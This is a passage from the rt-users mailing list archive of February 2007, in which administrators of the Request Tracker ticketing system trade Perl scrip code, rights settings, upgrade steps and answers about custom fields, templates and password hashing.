> I'm tried to use CustomFieldValues but I get stuck after that.
> 
> Searches through the archive seem to say NO ONE has done this successfully.
This is part of our script which ties timeworked to an asset which hold 
how many hours a client has left on his contract.
use Data::Dumper;

# start to define a couple of useful objects.
my $TicketObj = $self->TicketObj;
my $QueueObj  = $self->TicketObj->QueueObj;
my $TransObj  = $self->TransactionObj;
my $TemplObj  = $self->TemplateObj;
# $RT::Logger->debug( Dumper($TemplObj) );
my $qname     = $self->TicketObj->QueueObj->Name;
my $cfname    = 'Strippenkaart';
my $timetaken;
my $abstimetaken_new;
my $abstimetaken_old;
my $assettype;

# $RT::Logger->debug("$qname");
# $RT::Logger->debug("$timetaken");
my $ttype  = $TransObj->Type;
my $tfield = $TransObj->Field;
# $RT::Logger->debug($ttype);
# $RT::Logger->debug($tfield);

# make a new CFObj and fill it
my $CFObj = RT::CustomField->new( $QueueObj->CurrentUser );
$CFObj->LoadByNameAndQueue( Name => $cfname, Queue => $QueueObj->id );
unless ( $CFObj->id ) {
     $CFObj->LoadByNameAndQueue( Name => $cfname, Queue => 0 );
     unless ( $CFObj->id ) {
         $RT::Logger->debug(
                     "custom field '$cfname' isn't global or defined for 
queue '"
                       . $QueueObj->Name
                       . "'" );
         return undef;
     }
}

# get the first CFValue
my $cfvalue = $self->TicketObj->FirstCustomFieldValue( $CFObj->id );
$RT::Logger->debug("$cfvalue");

# then create an empty AssetObj with the current user
my $AssetObj = RTx::AssetTracker::Asset->new( $QueueObj->CurrentUser );

# get its values given the convention  AssetName=QueueName+CFValue
# check if status == production
# further Name is unique in the DB, is possible to change via 
AT_SiteConfig.pm
# still check if  AssetType==Strippenkaart
$AssetObj->Load($qname.$cfvalue);
$assettype=$AssetObj->TypeObj->Name;
if ( $assettype ne 'Strippenkaart' ) {
     $RT::Logger->debug("No Asset of type Strippenkaart");
     return undef;
}

my $desc   = $AssetObj->Description;
my $status = $AssetObj->Status;
if ( $status ne 'production' ) { return undef; }

# $RT::Logger->debug("$desc");

# get the CustomFields  (cnt>0)
my $AssetCFObj = $AssetObj->CustomFields();
my $cfcount = $AssetCFObj->Count;
if ( $cfcount == 0 ) { return undef; }

# process the CF's


Does this make sense?

Joop




From marouane.himdi at kereval.com  Wed Feb 14 03:31:09 2007
From: marouane.himdi at kereval.com (Marouane HIMDI)
Date: Wed, 14 Feb 2007 09:31:09 +0100
Subject: [rt-users] 3.6.3 - Non-privileged users & ShowTicket
In-Reply-To: <45D2573A.7010702@oracle.com>
References: <45D2573A.7010702@oracle.com>
Message-ID: <45D2C8CD.9090803@kereval.com>

you have just to give "requestor" role  "ShowTicket" right

Best regards

Marouane HIMDI

Joe Casadonte a ?crit :
> If I don't give non-privileged users the ShowTicket right, then they 
> cannot see their own tickets.  If I do, then they can see *any* ticket 
> (by using the Goto Ticket box).  Is there a happy medium?  I am doing 
> this via Global -> Group Rights.  I could do it via Queues -> General 
> -> Group Rights, which would limit the exposure, but still not limit 
> it to just their tickets.  Thanks!
>


From Michael.Peer at eurac.edu  Wed Feb 14 04:41:11 2007
From: Michael.Peer at eurac.edu (Peer Michael)
Date: Wed, 14 Feb 2007 10:41:11 +0100
Subject: [rt-users] RT::CustomField -> Queue deprecated
	at(RT::Tickets:/opt/rt3/local/lib/RT/Tickets_Overlay.pm:2245)
Message-ID: <EF650F471C832344BEBD07E6C0E0DB3F049D05D3@abz02be.eurac.edu>

I never get a response to this problem. Any idea?

Michael Peer

-----Original Message-----
From: rt-users-bounces at lists.bestpractical.com
[mailto:rt-users-bounces at lists.bestpractical.com] On Behalf Of Peer
Michael
Sent: Thursday, 01 February, 2007 08:52
To: Ruslan Zakirov
Cc: rt-users at lists.bestpractical.com
Subject: RE: [rt-users] RT::CustomField -> Queue deprecated
at(RT::Tickets:/opt/rt3/local/lib/RT/Tickets_Overlay.pm:2245)

I'm using rt-3.4.5.
 

-----Original Message-----
From: Ruslan Zakirov [mailto:ruslan.zakirov at gmail.com] 
Sent: Wednesday, 31 January, 2007 17:52
To: Peer Michael
Cc: rt-users at lists.bestpractical.com
Subject: Re: [rt-users] RT::CustomField -> Queue deprecated at
(RT::Tickets:/opt/rt3/local/lib/RT/Tickets_Overlay.pm:2245)

On 1/31/07, Peer Michael <Michael.Peer at eurac.edu> wrote:
>
>
> Greeting
>
> When i use the function
> "$tickets->LimitCustomField(CUSTOMFIELD => 'xxxx', OPERATOR => 'LIKE',

> VALUE => 'true');" i find this message in the log:
> [Wed Jan 31 15:47:34 2007] [debug]: RT::CustomField -> Queue 
> deprecated at
> (RT::Tickets:/opt/rt3/local/lib/RT/Tickets_Overlay.pm:2245)
> (/opt/rt3/lib/RT/CustomField_Overlay.pm:741)
>
> How can i avoid this message?
Update to newer version of the RT? Or at least say us what version
you're using.

>
> Thanks
>

--
Best regards, Ruslan.
_______________________________________________
http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users

Community help: http://wiki.bestpractical.com
Commercial support: sales at bestpractical.com


Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
Buy a copy at http://rtbook.bestpractical.com


From torben.nehmer at cancom.de  Wed Feb 14 05:34:44 2007
From: torben.nehmer at cancom.de (Torben Nehmer)
Date: Wed, 14 Feb 2007 11:34:44 +0100
Subject: [rt-users] No Answers :-(
Message-ID: <EBE724A2DE794D44B545B2B355DD3CC7041E4C05@server15.int.cancom.de>

Hi,
 
I have been using RT for a while now and I must say that I am very happy with it as a product.
 
What I'm a bit dissapointed is the fact, that I didn't get any response at all to two questions I have been asking here on the list, one about a Problem with text/html mails [1], and another about default ticket filtres [2].
 
[1]: http://lists.fsck.com/pipermail/rt-users/2006-November/042987.html, http://lists.fsck.com/pipermail/rt-users/2006-November/043010.html, http://lists.fsck.com/pipermail/rt-users/2006-November/043011.html, http://lists.fsck.com/pipermail/rt-users/2006-November/043012.html
[2]: http://lists.fsck.com/pipermail/rt-users/2007-January/043699.html
 
In both cases I'd be happy even with a first few insights where to start searching. I have quite some experience in application development in itself, but I have almost no knowledge of RT internals and not the time to spend hours in understanding the whole architecture. Heck, even pointers at existing Documents etc. would be a help, I searched for the problems, but i didn't find anything useful.
 
I know that support is always a problem with open source software (I have been leading an OSS Project for years), but just not answering in any way isn't exactly what I'd expect. Please don't destroy the very good impression I currently have from RT by letting this slide entirely. Currently our RT instance here is only used by a few people, but we have plans of opening it up to around a thousand employees here and there it will be a problem. 

Yours sincerely,
Torben Nehmer

-------
Torben Nehmer
Diplom Informatiker (FH)
Business System Developer

CANCOM Deutschland GmbH
Messerschmittstr. 20
89343 Scheppach
Germany

Phone: +49 (0)8225 - 996-1118
Fax: +49 (0)8225 - 996-41118
torben.nehmer at cancom.de <mailto:torben.nehmer at cancom.de> 

CANCOM Deutschland GmbH
Sitz der Gesellschaft: Jettingen-Scheppach
HRB 10653 Memmingen
Gesch?ftsf?hrer: Paul Holdschik, Christian Linder

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From torsten.brumm at googlemail.com  Wed Feb 14 07:04:00 2007
From: torsten.brumm at googlemail.com (Torsten Brumm)
Date: Wed, 14 Feb 2007 13:04:00 +0100
Subject: [rt-users] Approval
In-Reply-To: <20070123123446.15F6C2F05AC@epicuro.camara.gov.br>
References: <20070123123446.15F6C2F05AC@epicuro.camara.gov.br>
Message-ID: <bdbd084b0702140404v7117ec84pc9771aa4af561e80@mail.gmail.com>

Hi Alexandre,

try this:

Content: Content: {$Transaction->Content('TOP')}

Torsten

2007/1/23, Alexandre de Medeiros Ribeiro <alexandre.medeiros at camara.gov.br>:
>
>  Hey all,
>
>    how can i put on approval's tickets the body of the main t?cket.
>    i tried {$transaction->Content()} but this option doesn't refers to
> the main t?cket.
>
>
> Tks,
> Alexandre
>
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
>
>
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
> Buy a copy at http://rtbook.bestpractical.com
>



-- 
MFG

Torsten Brumm

http://www.torsten-brumm.de
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From joe.casadonte at oracle.com  Wed Feb 14 07:30:11 2007
From: joe.casadonte at oracle.com (Joe Casadonte)
Date: Wed, 14 Feb 2007 07:30:11 -0500
Subject: [rt-users] 3.6.3 - Non-privileged users & ShowTicket
In-Reply-To: <45D2C8CD.9090803@kereval.com>
References: <45D2573A.7010702@oracle.com> <45D2C8CD.9090803@kereval.com>
Message-ID: <45D300D3.3020508@oracle.com>

On 2/14/2007 3:31 AM, Marouane HIMDI wrote:

> you have just to give "requestor" role  "ShowTicket" right

I thought I had tried that already, but evidently not -- thanks!

Also, I thought that unprivileged mean that Requestor & Cc roles did not 
apply.  I guess not....

Thanks again!

-- 
Regards,


joe
Joe Casadonte
joe.casadonte at oracle.com


From jesse at bestpractical.com  Wed Feb 14 07:54:54 2007
From: jesse at bestpractical.com (Jesse Vincent)
Date: Wed, 14 Feb 2007 07:54:54 -0500
Subject: [rt-users] RT::CustomField -> Queue deprecated
	at(RT::Tickets:/opt/rt3/local/lib/RT/Tickets_Overlay.pm:2245)
In-Reply-To: <EF650F471C832344BEBD07E6C0E0DB3F049D05D3@abz02be.eurac.edu>
References: <EF650F471C832344BEBD07E6C0E0DB3F049D05D3@abz02be.eurac.edu>
Message-ID: <20070214125454.GQ25008@bestpractical.com>




On Wed, Feb 14, 2007 at 10:41:11AM +0100, Peer Michael wrote:
> I never get a response to this problem. Any idea?

Ruslan did reply. It's fixed in newer releases. But don't worry about
the issue. It's harmless.

> 
> Michael Peer
> 
> -----Original Message-----
> From: rt-users-bounces at lists.bestpractical.com
> [mailto:rt-users-bounces at lists.bestpractical.com] On Behalf Of Peer
> Michael
> Sent: Thursday, 01 February, 2007 08:52
> To: Ruslan Zakirov
> Cc: rt-users at lists.bestpractical.com
> Subject: RE: [rt-users] RT::CustomField -> Queue deprecated
> at(RT::Tickets:/opt/rt3/local/lib/RT/Tickets_Overlay.pm:2245)
> 
> I'm using rt-3.4.5.
>  
> 
> -----Original Message-----
> From: Ruslan Zakirov [mailto:ruslan.zakirov at gmail.com] 
> Sent: Wednesday, 31 January, 2007 17:52
> To: Peer Michael
> Cc: rt-users at lists.bestpractical.com
> Subject: Re: [rt-users] RT::CustomField -> Queue deprecated at
> (RT::Tickets:/opt/rt3/local/lib/RT/Tickets_Overlay.pm:2245)
> 
> On 1/31/07, Peer Michael <Michael.Peer at eurac.edu> wrote:
> >
> >
> > Greeting
> >
> > When i use the function
> > "$tickets->LimitCustomField(CUSTOMFIELD => 'xxxx', OPERATOR => 'LIKE',
> 
> > VALUE => 'true');" i find this message in the log:
> > [Wed Jan 31 15:47:34 2007] [debug]: RT::CustomField -> Queue 
> > deprecated at
> > (RT::Tickets:/opt/rt3/local/lib/RT/Tickets_Overlay.pm:2245)
> > (/opt/rt3/lib/RT/CustomField_Overlay.pm:741)
> >
> > How can i avoid this message?
> Update to newer version of the RT? Or at least say us what version
> you're using.
> 
> >
> > Thanks
> >
> 
> --
> Best regards, Ruslan.
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> 
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
> 
> 
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
> Buy a copy at http://rtbook.bestpractical.com
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> 
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
> 
> 
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
> Buy a copy at http://rtbook.bestpractical.com
> 

-- 


From rfox at findlay.edu  Wed Feb 14 08:25:31 2007
From: rfox at findlay.edu (Ryan Fox)
Date: Wed, 14 Feb 2007 08:25:31 -0500
Subject: [rt-users] Filter resolved tickets in simple searches
In-Reply-To: <EBE724A2DE794D44B545B2B355DD3CC703C9BD7C@server15.int.cancom.de>
References: <EBE724A2DE794D44B545B2B355DD3CC703C9BD7C@server15.int.cancom.de>
Message-ID: <45D30DCB.3000108@findlay.edu>

Torben Nehmer wrote:
> Hi everybody,
>  
> is there a simple way to filter all resolved ticket from searches done 
> through the simple search feature? I often use that feature to do a 
> quick "fulltext:this-and-that", and the buch of resolved tickets I get 
> there sort of clutters up the result list.
>
After running a SimpleSearch, you can click on 'Query Builder', which 
will load the last query you have run (the SimpleSearch) and allow you 
to modify it from there (like to remove resolved tickets). 

If you often run SimpleSearch queries that you wish to restrict to 
unresolved tickets, there are a few customization options available that 
may save you much time.  You could make SimpleSearch only search for 
unresolved Tickets by editing html/Search/Simple.html , or, perhaps make 
a SelectBox in html/Elements/SimpleSearch with options for 'Unresolved' 
and 'All', and add code in html/Search/Simple.html to add the that ARG 
to the query.  I've done something similar to the latter in my 
AssetTracker SimpleSearch.   I've attached my diff, in case it helps.

Ryan



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From D.Obando at ehapa.de  Wed Feb 14 08:42:26 2007
From: D.Obando at ehapa.de (Obando, David DE - EV)
Date: Wed, 14 Feb 2007 14:42:26 +0100
Subject: [rt-users] interntal and external access
Message-ID: <81D141237A54374E9E79CF14F96612A3B40929@TXLEVD1-XCH03.ev.egmont.com>

Dear all,

I need to enable internal and external access to my RT. Internal (LAN)
access works with NTLM authentication, external (Internet) should work
with Apache authentication.
I tried using two virtual hosts, internal on port 80, external on port
443 (https). It failed because of $WebBaseURL, where I have to define
ether http or https.
Is there a way to enable this without setting up two RT instances?

Regards,
David
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From Jacob at buschs.com  Wed Feb 14 08:44:42 2007
From: Jacob at buschs.com (Jacob Helwig)
Date: Wed, 14 Feb 2007 08:44:42 -0500
Subject: [rt-users] How does RT encrypt passwords?
In-Reply-To: <1171407770.17233.4.camel@kriticals_workstation>
References: <1171407770.17233.4.camel@kriticals_workstation>
Message-ID: <B2E89743C79B364482E6AE35414E516201EABAF2@mail.buschs.net>

use Digest::MD5;

my $md5 = Digest::MD5->new();

$md5->add("password goes here");

my $cryptedPass = $md5->hexdigest;


> -----Original Message-----
> From: rt-users-bounces at lists.bestpractical.com [mailto:rt-users-
> bounces at lists.bestpractical.com] On Behalf Of Paul England
> Sent: Tuesday, February 13, 2007 18:03
> To: rt-users at lists.bestpractical.com
> Subject: [rt-users] How does RT encrypt passwords?
> 
> Hi there,
> 
> Can anyone tell me what method RT uses to encrypt passwords in mysql?
> 
> Thank you
> 
> Paul England, Auckland
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> 
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
> 
> 
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
> Buy a copy at http://rtbook.bestpractical.com



From joe.casadonte at oracle.com  Wed Feb 14 09:58:44 2007
From: joe.casadonte at oracle.com (Joe Casadonte)
Date: Wed, 14 Feb 2007 09:58:44 -0500
Subject: [rt-users] Saved Search AdminCC is me?
Message-ID: <45D323A4.9020209@oracle.com>

> Each user can go in and create a saved search where they are the 
> AdminCC, but what I'd prefer to do is create a saved search where the
> AdminCC is the email address of the logged on user.

> Any idea how to do that?

Was this ever answered?  I want to do something very similar.

-- 
Regards,


joe

  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|           Joe Casadonte           |  joe.casadonte at oracle.com     |
|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ |
| Oracle Transportation Management  |  1016 West Ninth Avenue       |
|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|  Suite 300                    |
|           610-491-3315            |  King of Prussia, PA  19406   |
  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~




From falcone at bestpractical.com  Wed Feb 14 09:59:58 2007
From: falcone at bestpractical.com (Kevin Falcone)
Date: Wed, 14 Feb 2007 09:59:58 -0500
Subject: [rt-users] vanished lines in rt 3.6.1 reply
In-Reply-To: <9FDB0797A630751FC4D5DBA8@[192.168.1.7]>
References: <1168534464.5276.32.camel@pcx4546.desy.de>
	<1168617531.5159.64.camel@pcx4546.desy.de>
	<1169460532.4969.16.camel@pcx4546.desy.de>
	<1170763966.5180.26.camel@pcx4546.desy.de>
	<347CFE72-9064-41B7-A1CA-B68FD9387416@bestpractical.com>
	<9FDB0797A630751FC4D5DBA8@[192.168.1.7]>
Message-ID: <49AA2BFB-5299-452A-9C41-466C2C166E86@bestpractical.com>


On Feb 13, 2007, at 3:55 AM, Dirk Pape wrote:
> --Am 12. Februar 2007 15:38:56 -0500 schrieb Kevin Falcone  
> <falcone at bestpractical.com>:
>
>> I've created a local ticket that looks something like this (by  
>> replying a
>> lot) and haven't been able to replicate your problem.
>
> I, too, have reported such an error months ago. You will find the  
> error description and the proof of the error in <http:// 
> rt3.fsck.com/Ticket/Display.html?id=7539> (user: guest, password:  
> guest)

HI Dirk and Sven

This should now be fixed by Text::Quoted 1.10, available on CPAN as  
of this morning.
Thanks for the reports

-kevin


From joe.casadonte at oracle.com  Wed Feb 14 10:02:14 2007
From: joe.casadonte at oracle.com (Joe Casadonte)
Date: Wed, 14 Feb 2007 10:02:14 -0500
Subject: [rt-users] Custom fields for Queues
Message-ID: <45D32476.3050906@oracle.com>

Would this be easy to hack in?  I haven't touched the schema at all, so 
I don't know what's involved....

-- 
Regards,


joe
Joe Casadonte
joe.casadonte at oracle.com


From kamber.dalal at verizonbusiness.com  Wed Feb 14 10:07:03 2007
From: kamber.dalal at verizonbusiness.com (Dalal, Kamber Z (Kamber))
Date: Wed, 14 Feb 2007 15:07:03 +0000
Subject: [rt-users] Autoreply or Notify Requestors
Message-ID: <2ACF6489BC112B4F9C8956BADB9228E60550E213@ASHEVS005.mcilink.com>

Situation:
 
Need to send templated e-mails.  Requestor information is updated.
First email is an automatic notification to the requestor when custom
field value is set at the first value from a dropdown list.  Second
e-mail is an escalation to be auto sent when custom field value is set
to the third or fourth value in the dropdown list.
 
Already done is:
 
Created the 2 templates.   Template A     Template B
 
First Scrip field values are:
 
Description:  First Notification
Condition:     User Defined
Action:        Notify Requestors
Template:    Template A
Stage:        TransactionCreate
 
 
 
Custom Condition is set as:
return 0 unless $self->TicketObj->FirstCustomFieldValue('Status of the
Issue') =~ /first value in the list/i;
 
1;
 
 
 
The Custom action preparation code and cleanup code are blank.
 
 
The above condition does not send notification to the Requestor.  When
action was changed from Notify Requestors to AutoReply Requestors, it
does send the email, but it continues to send the templated email on
following transactions, even when the custom field value does not
change.  Desired is that the template A email should go out onkly once.
 
 
The escalation email scrip is:
 
Description:  Escalation Notification
Condition:     User Defined
Action:        Notify Requestors
Template:    Template B
Stage:        TransactionCreate
 
 
 
Custom Condition is set as:
return 0 unless $self->TicketObj->FirstCustomFieldValue('Status of the
Issue') =~ /third value in the list/i;
 
1;
 
 
 
The Custom action preparation code and cleanup code are blank.
 
 
What changes need to be made for this to work?
 
Thank you,
Kamber Dalal
 
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From JoopvandeWege at mococo.nl  Wed Feb 14 10:16:45 2007
From: JoopvandeWege at mococo.nl (Joop)
Date: Wed, 14 Feb 2007 16:16:45 +0100
Subject: [rt-users] 3.6.3 - sorting on Custom Fields still not working?
In-Reply-To: <45D2C26C.9040107@mococo.nl>
References: <45CE1E1E.7010308@oracle.com>	<589c94400702120811q3064dd1y9e330a5607c0d72@mail.gmail.com>	<45D09C86.70101@oracle.com>	<45D16817.7000404@mococo.nl>	<45D17354.5030806@mococo.nl>	<45D26090.7020407@oracle.com>
	<45D2C26C.9040107@mococo.nl>
Message-ID: <45D327DD.70402@mococo.nl>

Joop wrote:

> I'll try to set this up in my test environment.
> Almost, what I'm missing is/are the CF's. Maybe its because I don't have 
> global CustomFields and you do. I'll try a couple of things in our test RT.
Tried and have the same problem. The CF's are global and are selected to 
be displayed by the search.
Haven't found a solution (yet).

Joop



From torsten.brumm at kuehne-nagel.com  Wed Feb 14 10:16:59 2007
From: torsten.brumm at kuehne-nagel.com (Torsten Brumm | Kuehne + Nagel)
Date: Wed, 14 Feb 2007 16:16:59 +0100
Subject: [rt-users] Custom fields for Queues
In-Reply-To: <45D32476.3050906@oracle.com>
Message-ID: <C1F8E67B.4745%torsten.brumm@kuehne-nagel.com>

Thats something i asked for several time during the last 5 years ;-)

I would like to have it!


On 14.02.2007 16:02 Uhr, "Joe Casadonte" <joe.casadonte at oracle.com> wrote:

> Would this be easy to hack in?  I haven't touched the schema at all, so
> I don't know what's involved....

-- 
With kindest regards

Torsten Brumm
Kuehne + Nagel 
Datacenter Hamburg
Bauerbergweg 25
22111 Hamburg

Tel: +49 40 3033 33 199
Fax: +49 40 3033 344 3199
Gsm: +49 40 176 27 27 18 50
Mail: torsten.brumm at kuehne-nagel.com
Web: www.kuehne-nagel.com



From Richard.Ellis at Sun.COM  Wed Feb 14 10:12:17 2007
From: Richard.Ellis at Sun.COM (Richard Ellis)
Date: Wed, 14 Feb 2007 15:12:17 +0000
Subject: [rt-users] RTx-RightsMatrix
Message-ID: <45D326D1.1020202@sun.com>

Is this safe to use in production now on RT3.4.6 or is this deprecated.

Our rights matrix is getting extremely complex and this was always very 
good to view what is going on.

Thanks

Rik

-- 
Richard Ellis
.Sun B2B Operations
Sun Microsystems x24727
http://sun.com




From marouane.himdi at kereval.com  Wed Feb 14 10:53:52 2007
From: marouane.himdi at kereval.com (Marouane HIMDI)
Date: Wed, 14 Feb 2007 16:53:52 +0100
Subject: [rt-users] Autoreply or Notify Requestors
In-Reply-To: <2ACF6489BC112B4F9C8956BADB9228E60550E213@ASHEVS005.mcilink.com>
References: <2ACF6489BC112B4F9C8956BADB9228E60550E213@ASHEVS005.mcilink.com>
Message-ID: <45D33090.4030102@kereval.com>



Dalal, Kamber Z (Kamber) a ?crit :
> Situation:
>  
> Need to send templated e-mails.  Requestor information is updated.  
> First email is an automatic notification to the requestor when custom 
> field value is set at the first value from a dropdown list.  Second 
> e-mail is an escalation to be auto sent when custom field value is set 
> to the third or fourth value in the dropdown list.
>  
> Already done is:
>  
> Created the 2 templates.   /Template A     Template B/
>  
> First Scrip field values are:
>  
> Description:  First Notification
> Condition:     User Defined
> Action:        Notify Requestors
> Template:    /Template A/
> Stage:        TransactionCreate
>  
>  
>  
> Custom Condition is set as:
> return 0 unless $self->TicketObj->FirstCustomFieldValue('Status of the 
> Issue') =~ //first value in the list//i;
>  
> 1;
>  
>  
>  
> The Custom action preparation code and cleanup code are blank.
>  
>  
> The above condition does not send notification to the Requestor.  When 
> action was changed from Notify Requestors to AutoReply Requestors, it 
> does send the email, but it continues to send the templated email on 
> following transactions, even when the custom field value does not 
> change.  Desired is that the template A email should go out onkly once.
This is normal, You have add the condition that transaction must 
concerns a custmFiledValue 's change.
So, the solution is done here
http://wiki.bestpractical.com/index.cgi?OnCustomFieldValueChange

Best regards
>  
>  
> The escalation email scrip is:
>  
> Description:  Escalation Notification
> Condition:     User Defined
> Action:        Notify Requestors
> Template:    /Template B/
> Stage:        TransactionCreate
>  
>  
>  
> Custom Condition is set as:
> return 0 unless $self->TicketObj->FirstCustomFieldValue('Status of the 
> Issue') =~ //third value in the list//i;
>  
> 1;
>  
>  
>  
> The Custom action preparation code and cleanup code are blank.
>  
>  
> What changes need to be made for this to work?
>  
> Thank you,
> Kamber Dalal
>  
> ------------------------------------------------------------------------
>
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
>
>
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
> Buy a copy at http://rtbook.bestpractical.com


From colin at cipher-it.co.uk  Wed Feb 14 11:25:38 2007
From: colin at cipher-it.co.uk (Colin Durrant)
Date: Wed, 14 Feb 2007 16:25:38 -0000
Subject: [rt-users] upgrade from 3.4. to 3.6.3
Message-ID: <CF3AA3C48CC54E43B10133BE5D33A4C809576D@pe750.Cipher-IT.local>

Hi

 

I have just upgraded our RT to 3.6.3 from 3.4.  When I try to run the
commands below to update the database I get an error.  I assume that I
need to change the <version> to 3.5.1 as that is newer than my previous
install of RT?  The error I get is that it can't find the schema or the
acl etc.

 

Any help or direction will be greatly appreciated.

 

ls etc/upgrade

 

     For each item in that directory whose name is greater than

     your previously installed RT version, run:

 

       /opt/rt3/sbin/rt-setup-database --action schema \

           --datadir etc/upgrade/<version>

       /opt/rt3/sbin/rt-setup-database --action acl \

           --datadir etc/upgrade/<version>

       /opt/rt3/sbin/rt-setup-database --action insert \

            --datadir etc/upgrade/<version>

 

 

 

Many thanks

 

Colin Durrant

Technical  Director

Cipher-IT Ltd

0870 242 6241

www.cipher-it.co.uk <http://www.cipher-it.co.uk>  

 

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From acqant at optonline.net  Wed Feb 14 12:03:05 2007
From: acqant at optonline.net (anthony)
Date: Wed, 14 Feb 2007 12:03:05 -0500
Subject: [rt-users] getting the values of custom fields
In-Reply-To: <45D2C815.50608@mococo.nl>
References: <45D0F5C2.2050802@optonline.net> <45D1067C.6010701@lbl.gov>
	<45D1FC5C.9050305@optonline.net> <45D2C815.50608@mococo.nl>
Message-ID: <45D340C9.1040706@optonline.net>

Joop,
	Thanks that really helps.  I'm able to pull the first value from my
custom field now.

	However the field I have is a multi value on and I'm not trying to use
CustomFiledValues which returns a ObjectCustomFieldValues Object.

I don't really know what to do with that.  I've tried a whole bunch of
things but I'm just guessing.

The ObjectCustomFiled Object has this as a Hash


[Wed Feb 14 16:55:32 2007] [debug]: _open_parens - HASH(0xa414aec)
((eval 948):50)
[Wed Feb 14 16:55:32 2007] [debug]: alias_count - 0 ((eval 948):50)
[Wed Feb 14 16:55:32 2007] [debug]: where_clause -  ((eval 948):50)
[Wed Feb 14 16:55:32 2007] [debug]: order_by - ARRAY(0xa523034) ((eval
948):50)
[Wed Feb 14 16:55:32 2007] [debug]: table - ObjectCustomFieldValues
((eval 948):50)
[Wed Feb 14 16:55:32 2007] [debug]: tables -  ((eval 948):50)
[Wed Feb 14 16:55:32 2007] [debug]: is_limited - 1 ((eval 948):50)
[Wed Feb 14 16:55:32 2007] [debug]: order -  ((eval 948):50)
[Wed Feb 14 16:55:32 2007] [debug]: user -
RT::CurrentUser=HASH(0xa5f17c8) ((eval 948):50)
[Wed Feb 14 16:55:32 2007] [debug]: limit_clause -  ((eval 948):50)
[Wed Feb 14 16:55:32 2007] [debug]: DBIxHandle -
RT::Handle=HASH(0x9a42c6c) ((eval 948):50)
[Wed Feb 14 16:55:32 2007] [debug]: restrictions - HASH(0xa61436c)
((eval 948):50)
[Wed Feb 14 16:55:32 2007] [debug]: primary_key - id ((eval 948):50)
[Wed Feb 14 16:55:32 2007] [debug]: auxillary_tables -  ((eval 948):50)
[Wed Feb 14 16:55:32 2007] [debug]: must_redo_search - 1 ((eval 948):50)
[Wed Feb 14 16:55:32 2007] [debug]: itemscount - 0 ((eval 948):50)
[Wed Feb 14 16:55:32 2007] [debug]: show_rows - 0 ((eval 948):50)
[Wed Feb 14 16:55:32 2007] [debug]: aliases - ARRAY(0xa42ceb4) ((eval
948):50)
[Wed Feb 14 16:55:32 2007] [debug]: first_row - 0 ((eval 948):50)



Thanks.



Joop wrote:
> anthony wrote:
>> I'm doing this via script action.
>> FirstCustom.. is in Record which is not part of the $self.
>>
>> I get TicketObj, TransactionObj ( which does not seems to work )
>>
>> I'm tried to use CustomFieldValues but I get stuck after that.
>>
>> Searches through the archive seem to say NO ONE has done this
>> successfully.
> This is part of our script which ties timeworked to an asset which hold
> how many hours a client has left on his contract.
> use Data::Dumper;
> 
> # start to define a couple of useful objects.
> my $TicketObj = $self->TicketObj;
> my $QueueObj  = $self->TicketObj->QueueObj;
> my $TransObj  = $self->TransactionObj;
> my $TemplObj  = $self->TemplateObj;
> # $RT::Logger->debug( Dumper($TemplObj) );
> my $qname     = $self->TicketObj->QueueObj->Name;
> my $cfname    = 'Strippenkaart';
> my $timetaken;
> my $abstimetaken_new;
> my $abstimetaken_old;
> my $assettype;
> 
> # $RT::Logger->debug("$qname");
> # $RT::Logger->debug("$timetaken");
> my $ttype  = $TransObj->Type;
> my $tfield = $TransObj->Field;
> # $RT::Logger->debug($ttype);
> # $RT::Logger->debug($tfield);
> 
> # make a new CFObj and fill it
> my $CFObj = RT::CustomField->new( $QueueObj->CurrentUser );
> $CFObj->LoadByNameAndQueue( Name => $cfname, Queue => $QueueObj->id );
> unless ( $CFObj->id ) {
>     $CFObj->LoadByNameAndQueue( Name => $cfname, Queue => 0 );
>     unless ( $CFObj->id ) {
>         $RT::Logger->debug(
>                     "custom field '$cfname' isn't global or defined for
> queue '"
>                       . $QueueObj->Name
>                       . "'" );
>         return undef;
>     }
> }
> 
> # get the first CFValue
> my $cfvalue = $self->TicketObj->FirstCustomFieldValue( $CFObj->id );
> $RT::Logger->debug("$cfvalue");
> 
> # then create an empty AssetObj with the current user
> my $AssetObj = RTx::AssetTracker::Asset->new( $QueueObj->CurrentUser );
> 
> # get its values given the convention  AssetName=QueueName+CFValue
> # check if status == production
> # further Name is unique in the DB, is possible to change via
> AT_SiteConfig.pm
> # still check if  AssetType==Strippenkaart
> $AssetObj->Load($qname.$cfvalue);
> $assettype=$AssetObj->TypeObj->Name;
> if ( $assettype ne 'Strippenkaart' ) {
>     $RT::Logger->debug("No Asset of type Strippenkaart");
>     return undef;
> }
> 
> my $desc   = $AssetObj->Description;
> my $status = $AssetObj->Status;
> if ( $status ne 'production' ) { return undef; }
> 
> # $RT::Logger->debug("$desc");
> 
> # get the CustomFields  (cnt>0)
> my $AssetCFObj = $AssetObj->CustomFields();
> my $cfcount = $AssetCFObj->Count;
> if ( $cfcount == 0 ) { return undef; }
> 
> # process the CF's
> 
> 
> Does this make sense?
> 
> Joop
> 
> 
> _______________________________________________
